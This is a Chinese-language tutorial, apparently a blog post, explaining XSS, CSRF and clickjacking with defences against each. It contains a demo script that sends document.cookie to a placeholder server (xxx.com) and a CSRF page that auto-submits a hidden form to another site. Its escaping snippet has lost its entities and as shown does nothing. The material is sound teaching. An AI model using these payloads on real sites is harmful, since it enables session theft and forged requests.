常见的web前端攻击方式
一、什么是web攻击,常用的攻击方式有哪些?
web攻击:针对用户上网行为或网站服务器等设备进行攻击的行为,如植入恶意代码,修改网站权限或者获取用户隐私信息等等
我们常见的攻击方式有:
-
-
- XSS 跨站请求攻击
- CSRF 跨站请求伪造
- 点击劫持
- SQL注入(很早以前前后端不分离时的攻击方式)
-
二、XSS 跨站脚本攻击
攻击实现步骤:
1、我发表一篇博客,其中嵌入<script>脚本
2、脚本内容:获取cookie、用户敏感信息等,发送到我自己的服务器
3、发布博客后,有人查看,就可以轻松收割访问者的cookie等信息
代码模拟:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>xss演示</title>
</head>
<body>
<p id="p1">一段文字1</p>
<p>一段文字2</p>
<p>一段文字3</p>
<!--这里可以把敏感信息发送到自己的服务器-->
<script>
var img = document.createElement('img')
img.src ="http://xxx.com/api/xxx?userInfo=" + document.cookie //将cookie提交到自己的服务器
</script>
</body>
</html>
预防XSS攻击方式:
-
- 方式一:对内容进行转码,将< 变为 < >变为> 。即将<script> 变为 <script> 。前后端最好都要做替换。代码如下:
const newStr = str.replaceAll('<','<').replaceAll('>','>')此时就不会当脚本执行,而是直接在界面上显示
- 方式二:将cookie设置为HttpOnly 标志。HttpOnly 是服务器通过响应头来设置的,eg:HTTP响应头中的一段:
这样cookie只能使用在http请求中,而无法通过JS获取cookie(即document.cookie 无法获取到cookie)
set-cookie:name=xxx;expires=Sat,18-Apr-2020 02:23:24 GMT;path=/;domain=.google.com;HttpOnly
- 现代框架默认会屏蔽XSS攻击,除非自己手动打开,如:Vue 中使用v-html,此时可能会被攻击
- 方式一:对内容进行转码,将< 变为 < >变为> 。即将<script> 变为 <script> 。前后端最好都要做替换。代码如下:
三、CSRF(或者XSRF) 跨站请求伪造攻击
什么是跨域请求伪造:
-
- 通常缩写为CSRF或者XSRF
- 诱导用户在当前已登录的网站进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求(利用连接、form表单提交、image 等等)
- 由于cookie是跟着站点的,请求时默认会带该站点下的cookie
- 因此,就衍生出cookie的CSRFCSRF攻击,也就是跨站伪造请 求
攻击实现步骤:
-
- 用户登录过A网站 aa.com/login
- 在A网站诱导你点击B网站:bb.com
- B网站中有一个跳转链接,点击后,直接让你的给A网站发送请求
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>黑客 B 页面</title> </head> <body> <!---方法一:适用连接,即在bb.com 域名下 发送 一条请求到 aa.com--> <a href="http://a.com/dosomethid">点我发大财</a>
<!--方法二:使用form表单发送请求--><form action="http://a.com/deleteSomething" method="post"> <input type="hidden" name="data" value=''/> </form></body>
<script>
// 提交了表单
document.forms[0].submit()
</script>
</html> - 而此时浏览器中已经保存里A网站的cookie信息。这样,CSRF攻击就生效了
预防CSRF攻击方式:
-
- 1. 尽量使用post 接口
- 2. 增加验证(比如token、验证码等等)
- 为 cookie 设置 SameSite 属性设置Strict或 Lax,
- SameSite=Strict 表示跨站点时,任何情况都不会发送cookie.只有当前页面的URL 与请求目标一致,才会带上cookie
Set-Cookie: CookieName=CookieValue; SameSite=Strict;
- SameSite=Strict 表示跨站点时,任何情况都不会发送cookie.只有当前页面的URL 与请求目标一致,才会带上cookie
-
-
- SameSite=Lax规则稍稍放宽,大多数情况不发送第三方cookie,但是导航到目标网站的Get请求除外(a标签连接、GET 表单、预加载请求 这三种情款仍会发送第三方cookie)
-
四、点击劫持
什么是点击劫持:
-
-
- 是一种通过透明或者半透明的覆盖层,欺骗用户点击的攻击方式
-
实现步骤:
-
-
- 黑客在自己的网站,使用隐藏的<iframe>嵌套其它网站页面
- 诱导用户点击操作,实际上点击的是要攻击网站的操作
-
预防措施:
-
-
- 增加http header X-Frame-Options:SAMEORIGIN,禁止其他网站嵌入本网站页面
- 让<ifram>只能加载同域名的网页
-

浙公网安备 33010602011771号